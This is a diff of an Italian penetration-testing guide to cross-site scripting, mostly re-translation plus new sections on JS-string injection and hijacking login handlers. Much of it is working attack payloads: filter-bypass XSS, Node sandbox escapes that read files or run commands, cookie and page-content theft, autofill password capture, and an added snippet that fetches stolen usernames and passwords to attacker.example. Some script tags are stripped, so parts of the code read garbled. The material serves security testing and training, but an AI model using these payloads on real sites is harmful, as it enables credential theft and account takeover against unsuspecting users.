diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 2b614ae04..8036f85fd 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -4,32 +4,33 @@ ## Metodologia -1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _intestazioni_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**. -2. **Trova il contesto** in cui è riflesso/utilizzato. -3. Se **riflesso** -1. Controlla **quali simboli puoi usare** e a seconda di ciò, prepara il payload: -1. In **HTML grezzo**: +1. Verifica se **qualsiasi valore che controlli** (_parameters_, _path_, _headers_?, _cookies_?) viene **riflesso** nell'HTML o **utilizzato** da codice **JS**. +2. **Individua il contesto** in cui viene riflesso/utilizzato. +3. Se è **riflesso** +1. Verifica **quali simboli puoi usare** e, in base a quelli, prepara il payload: +1. In **raw HTML**: 1. Puoi creare nuovi tag HTML? 2. Puoi usare eventi o attributi che supportano il protocollo `javascript:`? 3. Puoi bypassare le protezioni? -4. Il contenuto HTML viene interpretato da qualche motore JS lato client (_AngularJS_, _VueJS_, _Mavo_...), potresti abusare di un [**Client Side Template Injection**](../client-side-template-injection-csti.md). -5. Se non puoi creare tag HTML che eseguono codice JS, potresti abusare di un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? +4. Il contenuto HTML viene interpretato da qualche motore JS client side (_AngularJS_, _VueJS_, _Mavo_...)? Potresti sfruttare una [**Client Side Template Injection**](../client-side-template-injection-csti.md). +5. Se non puoi creare tag HTML che eseguono codice JS, puoi sfruttare una [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? 2. All'interno di un **tag HTML**: -1. Puoi uscire nel contesto HTML grezzo? +1. Puoi uscire al contesto raw HTML? 2. Puoi creare nuovi eventi/attributi per eseguire codice JS? 3. L'attributo in cui sei intrappolato supporta l'esecuzione di JS? 4. Puoi bypassare le protezioni? 3. All'interno del **codice JavaScript**: -1. Puoi sfuggire al tag ``** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**: +In questo caso il tuo input viene riflesso tra i tag **``** di una pagina HTML, all'interno di un file `.js` o in un attributo che usa il protocollo **`javascript:`**: -- Se riflesso tra i tag **``**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `` ed uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag iniettato `` è all'interno del codice HTML. -- Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito): +- Se riflesso tra **``** tag, anche se il tuo input è all'interno di qualsiasi tipo di apici, puoi provare a iniettare `` e uscire da questo contesto. Questo funziona perché il **browser analizzerà prima i tag HTML** e poi il contenuto, quindi non noterà che il tag `` che hai iniettato è dentro il codice HTML. +- Se riflesso **inside a JS string** e l'ultimo trucco non funziona, dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è qualche errore, non verrà eseguito: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Se riflesso all'interno di template literals puoi **inserire espressioni JS** utilizzando la sintassi `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` -- **La codifica Unicode** funziona per scrivere **codice javascript valido**: +- Se riflesso all'interno dei template literals puoi **inserire espressioni JS** usando la sintassi `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** funziona per scrivere **valid javascript code**: ```javascript alert(1) alert(1) @@ -85,8 +86,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting si riferisce all'opportunità di **dichiarare funzioni, variabili o classi dopo che sono state utilizzate, in modo da poter abusare di scenari in cui un XSS utilizza variabili o funzioni non dichiarate.**\ -**Controlla la seguente pagina per ulteriori informazioni:** +Javascript Hoisting fa riferimento alla possibilità di **dichiarare functions, variables or classes dopo che sono state usate in modo da poter sfruttare scenari dove una XSS sta usando variabili o funzioni non dichiarate.**\ +**Controlla la pagina seguente per più info:** {{#ref}} @@ -95,19 +96,19 @@ js-hoisting.md ### Javascript Function -Diverse pagine web hanno endpoint che **accettano come parametro il nome della funzione da eseguire**. Un esempio comune da vedere nel mondo reale è qualcosa come: `?callback=callbackFunc`. +Diverse pagine web hanno endpoint che **accept as parameter the name of the function to execute**. Un esempio comune che si vede nel mondo reale è qualcosa come: `?callback=callbackFunc`. -Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è **modificare il valore del parametro** (ad esempio in 'Vulnerable') e cercare nella console errori come: +Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è **modificare il valore del param** (per esempio in 'Vulnerable') e guardare nella console errori come: ![](<../../images/image (711).png>) -Nel caso sia vulnerabile, potresti essere in grado di **attivare un alert** semplicemente inviando il valore: **`?callback=alert(1)`**. Tuttavia, è molto comune che questi endpoint **validino il contenuto** per consentire solo lettere, numeri, punti e underscore (**`[\w\._]`**). +Se è vulnerabile, potresti essere in grado di **trigger an alert** semplicemente inviando il valore: **`?callback=alert(1)`**. Tuttavia, è molto comune che questi endpoints **validate the content** per consentire solo lettere, numeri, punti e underscore (**`[\w\._]`**). -Tuttavia, anche con quella limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi usare quei caratteri validi per **accedere a qualsiasi elemento nel DOM**: +Tuttavia, anche con quella limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi usare quei caratteri validi per **access any element in the DOM**: ![](<../../images/image (747).png>) -Alcune funzioni utili per questo: +Alcune funzioni utili a tal fine: ``` firstElementChild lastElementChild @@ -115,11 +116,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -Puoi anche provare a **attivare funzioni Javascript** direttamente: `obj.sales.delOrders`. +Puoi anche provare ad **attivare funzioni Javascript** direttamente: `obj.sales.delOrders`. -Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza molto DOM interessante, **altre pagine nella stessa origine** avranno un **DOM più interessante** per eseguire più azioni. +Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, **altre pagine nella stessa origin** avranno un **DOM più interessante** per eseguire più azioni. -Pertanto, per **sfruttare questa vulnerabilità in un DOM diverso** è stata sviluppata l'esploitazione **Same Origin Method Execution (SOME)**: +Pertanto, per **abusare di questa vulnerabilità in un DOM diverso** è stato sviluppato lo sfruttamento **Same Origin Method Execution (SOME)**: {{#ref}} @@ -128,7 +129,7 @@ some-same-origin-method-execution.md ### DOM -C'è **codice JS** che utilizza **in modo non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario. +Esiste del **JS code** che utilizza in modo **non sicuro** alcuni **dati controllati da un attacker** come `location.href`. Un attacker potrebbe abusarne per eseguire codice JS arbitrario. {{#ref}} @@ -137,7 +138,7 @@ dom-xss.md ### **Universal XSS** -Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'exploitation client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\ +Questo tipo di XSS può essere trovato **ovunque**. Non dipendono soltanto dall'exploitation lato client di un'applicazione web ma da **qualsiasi** **contesto**. Questo tipo di **arbitrary JavaScript execution** può perfino essere abusato per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\ Alcuni **esempi**: @@ -154,13 +155,11 @@ server-side-xss-dynamic-pdf.md ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Iniettare all'interno di HTML raw +## Iniezione all'interno di HTML grezzo -Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML codificato** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\ -Per questi casi, tieni anche presente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Nota: Un commento HTML può essere chiuso usando\*\***\***\*`-->`\*\***\***\*o \*\***`--!>`\*\*_ +Quando il tuo input viene riflesso **all'interno della pagina HTML** o puoi eseguire escape e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e verifica se viene **codificato in HTML** o **eliminato** oppure se viene **riflesso senza modifiche**. **Solo nell'ultimo caso riuscirai a sfruttare questa situazione**.\ Per questi casi tieni anche a mente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Nota: Un commento HTML può essere chiuso usando\*\***\***\*`-->`\*\***\***\*o \*\***`--!>`\*\*_ -In questo caso e se non viene utilizzato alcun black/whitelisting, potresti usare payload come: +In questo caso, e se non viene utilizzato alcun black/whitelisting, potresti usare payload come: ```html ` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`. +In questi casi il tuo **input** sarà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `` o in eventi HTML che possono eseguire codice JS o in attributi che accettano il protocollo `javascript:`. -### Escape del tag \` potresti facilmente **uscire chiudendo il tag `` puoi facilmente **escape della chiusura del tag ` ``` -Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **l'analisi HTML viene eseguita prima dal browser**, che implica l'identificazione degli elementi della pagina, inclusi i blocchi di script. L'analisi di JavaScript per comprendere ed eseguire gli script incorporati viene effettuata solo successivamente. +Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Questo perché **il parsing HTML viene eseguito prima dal browser**, che comporta l'identificazione degli elementi della pagina, inclusi i blocchi di script. Il parsing del JavaScript per comprendere ed eseguire gli script incorporati viene effettuato solo in seguito. -### Dentro il codice JS +### All'interno del codice JS -Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** dove il tuo input è **situato** e **eseguire JS arbitrario**. È importante **correggere la sintassi JS**, perché se ci sono errori, il codice JS non verrà eseguito: +Se `<>` vengono sanitizzati puoi comunque **escape the string** dove il tuo input è **posizionato** e **execute arbitrary JS**. È importante **fix JS syntax**, perché se ci sono errori, il codice JS non verrà eseguito: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` -### Template literals \`\` +#### JS-in-JS string break → inject → repair pattern -Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché consentono di **incorporare espressioni JS** utilizzando la sintassi `${ ... }`.\ -Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**: +Quando l'input dell'utente si trova all'interno di una stringa JavaScript quotata (es., server-side echo dentro uno script inline), puoi terminare la stringa, iniettare codice e riparare la sintassi per mantenere il parsing valido. Scheletro generico: +``` +" // end original string +; // safely terminate the statement + // attacker-controlled JS +; a = " // repair and resume expected string/statement +``` +Esempio di pattern URL quando il parametro vulnerabile viene riflesso in una stringa JS: +``` +?param=test";;a=" +``` +Questo esegue JS controllato dall'attaccante senza la necessità di toccare il contesto HTML (puro JS-in-JS). Combinalo con i blacklist bypasses qui sotto quando i filtri bloccano parole chiave. -Questo può essere **abusato** utilizzando: +### Template literals `` + +Per creare **stringhe**, oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `** . Questo è noto come template literals poiché permettono di **inserire espressioni JS** usando la sintassi `${ ... }`.\ +Quindi, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che usa i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**: + +Questo può essere **abusato** usando: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -518,15 +532,28 @@ loop`` This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**JavaScript nuove righe (da** [**JavaScript nuova riga**](#javascript-new-lines) **trucco)** +**JavaScript nuove righe (da** [**JavaScript new line**](#javascript-new-lines) **trucco)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) @@ -582,7 +609,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8 String.fromCharCode(8233) alert("//\u2029alert(1)") //0xe2 0x80 0xa9 ``` -**Spazi bianchi JavaScript** +**JavaScript spazi bianchi** ```javascript log=[]; function funct(){} @@ -685,7 +712,7 @@ try{throw onerror=alert}catch{throw 1} - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**Chiamata di funzione arbitraria (alert)** +**Chiamata arbitraria di funzione (alert)** ```javascript //Eval like functions eval('ale'+'rt(1)') @@ -745,64 +772,64 @@ top['al\x65rt'](1) top[8680439..toString(30)](1) ``` -## **Vulnerabilità DOM** +## **DOM vulnerabilities** -C'è del **codice JS** che utilizza **dati controllati in modo non sicuro da un attaccante** come `location.href`. Un attaccante potrebbe abusare di questo per eseguire codice JS arbitrario.\ -**A causa dell'estensione della spiegazione di** [**vulnerabilità DOM è stata spostata a questa pagina**](dom-xss.md)**:** +Esiste del **JS code** che usa **dati controllati in modo non sicuro da un attacker** come `location.href`. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.\ +**A causa dell'estensione della spiegazione di** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -Lì troverai una dettagliata **spiegazione di cosa sono le vulnerabilità DOM, come vengono provocate e come sfruttarle**.\ -Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione sugli [**attacchi DOM Clobbering**](dom-xss.md#dom-clobbering). +Lì troverai una **spiegazione dettagliata di cosa sono le DOM vulnerabilities, come vengono provocate e come sfruttarle**.\ +Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione su [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). -### Aggiornamento Self-XSS +### Escalation di Self-XSS ### Cookie XSS -Se puoi attivare un XSS inviando il payload all'interno di un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile a XSS**, potresti abusare di questo XSS per iniettare un cookie nell'intero dominio riuscendo a attivare il cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili a cookie XSS). Per questo puoi utilizzare l'attacco cookie tossing: +Se riesci a scatenare una XSS inviando il payload dentro un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **subdomain vulnerabile a XSS**, potresti abusare di questa XSS per iniettare un cookie in tutto il dominio riuscendo a triggerare la cookie XSS nel dominio principale o in altri subdomain (quelli vulnerabili a cookie XSS). Per questo puoi usare il cookie tossing attack: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -Puoi trovare un grande abuso di questa tecnica in [**questo post del blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). +Puoi trovare un ottimo abuso di questa tecnica in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). -### Inviare la tua sessione all'amministratore +### Sending your session to the admin -Forse un utente può condividere il proprio profilo con l'amministratore e se il self XSS è all'interno del profilo dell'utente e l'amministratore vi accede, attiverà la vulnerabilità. +Forse un user può condividere il suo profile con l'admin e se il self XSS è dentro il profile dell'user e l'admin ci accede, scatterà la vulnerabilità. ### Session Mirroring -Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti, vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione. +Se trovi del self XSS e la web page ha una **session mirroring for administrators**, per esempio permettendo ai clienti di chiedere aiuto e affinché l'admin ti aiuti lui vedrà quello che stai vedendo nella tua session ma dalla sua session. -Potresti far **attivare il tuo self XSS all'amministratore** e rubare i suoi cookie/sessione. +Potresti far sì che l'**administrator trigger your self XSS** e rubare i suoi cookies/session. -## Altri Bypass +## Other Bypasses -### Unicode normalizzato +### Normalised Unicode -Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode** nel server (o nel lato client) e abusare di questa funzionalità per bypassare le protezioni. [**Trova un esempio qui**](../unicode-injection/index.html#xss-cross-site-scripting). +Puoi controllare se i **reflected values** vengono **unicode normalized** sul server (o lato client) e abusare di questa funzionalità per bypassare le protezioni. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). -### Bypass del flag PHP FILTER_VALIDATE_EMAIL +### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass -A causa dell'**assegnazione di massa RoR**, le virgolette vengono inserite nell'HTML e quindi la restrizione delle virgolette viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\ -Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload: +A causa di **RoR mass assignment** le virgolette vengono inserite nell'HTML e quindi la restrizione sulle virgolette viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.\ +Esempio di form ([da questo report](https://hackerone.com/reports/709336)), se invii il payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -La coppia "Key","Value" verrà restituita in questo modo: +La coppia "Key","Value" verrà restituita così: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -Poi, l'attributo onfocus verrà inserito e si verifica XSS. +Quindi, verrà inserito l'attributo onfocus e si verificherà XSS. ### Combinazioni speciali ```html @@ -834,24 +861,24 @@ Poi, l'attributo onfocus verrà inserito e si verifica XSS. window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS con iniezione di intestazioni in una risposta 302 +### XSS with header injection in a 302 response -Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **triviale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile. +Se scopri che puoi **inject headers in a 302 Redirect response** potresti provare a **make the browser execute arbitrary JavaScript**. Questo non è **banale** perché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un semplice cross-site scripting payload è inutile. -In [**questo report**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'intestazione Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\ -Protocolli noti in passato: `mailto://`, `//x:1/`, `ws://`, `wss://`, _intestazione Location vuota_, `resource://`. +In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli dentro l'header Location e vedere se qualcuno di essi permette al browser di ispezionare ed eseguire il XSS payload all'interno del body.\ +Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. ### Solo lettere, numeri e punti -Se sei in grado di indicare il **callback** che JavaScript andrà a **eseguire** limitato a quei caratteri. [**Leggi questa sezione di questo post**](#javascript-function) per scoprire come abusare di questo comportamento. +Se sei in grado di indicare la **callback** che javascript sta per **eseguire** limitata a quei caratteri. [**Read this section of this post**](#javascript-function) per scoprire come abusare di questo comportamento. -### Tipi di contenuto ` @@ -952,11 +979,11 @@ Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno ``` -### Special Replacement Patterns +### Schemi di sostituzione speciali -Quando si utilizza qualcosa come **`"some {{template}} data".replace("{{template}}", )`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di eludere alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Quando viene usato qualcosa come **`"some {{template}} data".replace("{{template}}", )`**. L'attaccante potrebbe usare [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di bypassare alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Ad esempio, in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario. +Per esempio in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato usato per **eseguire l'escape di una stringa JSON** all'interno di uno script ed eseguire codice arbitrario. ### Chrome Cache to XSS @@ -967,7 +994,7 @@ chrome-cache-to-xss.md ### XS Jails Escape -Se hai solo un insieme limitato di caratteri da utilizzare, controlla queste altre soluzioni valide per i problemi di XSJail: +If you are only have a limited set of chars to use, check these other valid solutions for XSJail problems: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -998,22 +1025,22 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile: +Se **everything is undefined** prima di eseguire codice non attendibile (come in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non attendibile: -- Utilizzando import() +- Usando import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` -- Accessing `require` indirectly +- Accesso indiretto a `require` -[Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono racchiusi da Node.js all'interno di una funzione, in questo modo: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli vengono avvolti da Node.js all'interno di una funzione, come segue: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -Pertanto, se da quel modulo possiamo **chiamare un'altra funzione**, è possibile utilizzare `arguments.callee.caller.arguments[1]` da quella funzione per accedere a **`require`**: +Quindi, se da quel modulo possiamo **chiamare un'altra funzione**, è possibile usare `arguments.callee.caller.arguments[1]` da quella funzione per accedere a **`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1022,7 +1049,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -In modo simile all'esempio precedente, è possibile **utilizzare i gestori di errori** per accedere al **wrapper** del modulo e ottenere la funzione **`require`**: +In modo analogo all'esempio precedente, è possibile **use error handlers** per accedere al **wrapper** del modulo e ottenere la funzione **`require`**: ```javascript try { null.f() @@ -1060,14 +1087,14 @@ console.log(req("child_process").execSync("id").toString()) } trigger() ``` -### Offuscamento e Bypass Avanzato +### Obfuscation & Advanced Bypass -- **Diverse offuscazioni in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **Different obfuscations in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) -- Più sofisticato JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) +- JSFuck più sofisticato: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) @@ -1241,9 +1268,9 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## Payload comuni XSS +## Payloads comuni per XSS -### Diversi payload in 1 +### Diversi payloads in 1 {{#ref}} @@ -1252,14 +1279,14 @@ steal-info-js.md ### Trappola Iframe -Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azioni (inclusi i dati inviati nei moduli): +Far navigare l'utente nella pagina senza uscire dall'iframe e rubare le sue azioni (incluse le informazioni inviate nei form): {{#ref}} ../iframe-traps.md {{#endref}} -### Recupera Cookies +### Recuperare i cookie ```javascript /?c="+document.cookie> @@ -1282,7 +1309,7 @@ Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azion ``` > [!TIP] -> Non **sarai in grado di accedere ai cookie da JavaScript** se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per bypassare questa protezione](../hacking-with-cookies/index.html#httponly) se sei abbastanza fortunato. +> Non potrai accedere ai cookies da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per bypassare questa protezione](../hacking-with-cookies/index.html#httponly) se sei abbastanza fortunato. ### Rubare il contenuto della pagina ```javascript @@ -1297,7 +1324,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open("GET", url, true) xhr.send(null) ``` -### Trova IP interni +### Trovare IP interni ```html ``` -### Cattura delle password di auto-compilazione +### Cattura delle password autocompilate ```javascript Username:
@@ -1392,18 +1419,33 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Quando vengono inseriti dati nel campo della password, il nome utente e la password vengono inviati al server dell'attaccante, anche se il client seleziona una password salvata e non scrive nulla, le credenziali verranno ex-filtrate. +Quando vengono inseriti dati nel campo password, il username e la password vengono inviati al attackers server; anche se il client seleziona una password salvata e non scrive nulla, le credenziali verranno ex-filtrated. + +### Hijack form handlers to exfiltrate credentials (const shadowing) + +Se un handler critico (e.g., `function DoLogin(){...}`) è dichiarato più avanti nella pagina, e il tuo payload viene eseguito prima (e.g., via un inline JS-in-JS sink), definisci prima un `const` con lo stesso nome per anticipare e bloccare l'handler. Dichiarazioni di funzione successive non possono riassegnare un nome `const`, lasciando il tuo hook al controllo: +```javascript +const DoLogin = () => { +const pwd = Trim(FormInput.InputPassword.value); +const user = Trim(FormInput.InputUtente.value); +fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); +}; +``` +Note +- Questo si basa sull'ordine di esecuzione: la tua injection deve eseguire prima della dichiarazione legittima. +- Se il tuo payload è incapsulato in `eval(...)`, i binding `const/let` non diventeranno globali. Usa la tecnica di injection dinamica con ` ``` -### Furto di messaggi PostMessage +### Rubare messaggi PostMessage ```html ``` -### Abusare dei Service Workers +### Abuso dei Service Workers {{#ref}} abusing-service-workers.md {{#endref}} -### Accesso al Shadow DOM +### Accesso allo Shadow DOM {{#ref}} @@ -1447,7 +1489,7 @@ shadow-dom.md https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### Payloads XSS ciechi +### Payloads per Blind XSS Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com) ```html @@ -1514,9 +1556,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln {{constructor.constructor("import('{SERVER}/script.js')")()}} ``` -### Regex - Accesso ai Contenuti Nascosti +### Regex - Accedere a contenuti nascosti -Da [**questo writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso: +From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possibile apprendere che anche se alcuni valori scompaiono dal JS, è comunque possibile trovarli negli attributi JS in oggetti diversi. Per esempio, un input di una REGEX è ancora possibile trovarlo dopo che il valore dell'input della regex è stato rimosso: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1540,7 +1582,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} -## XSS Abusare di altre 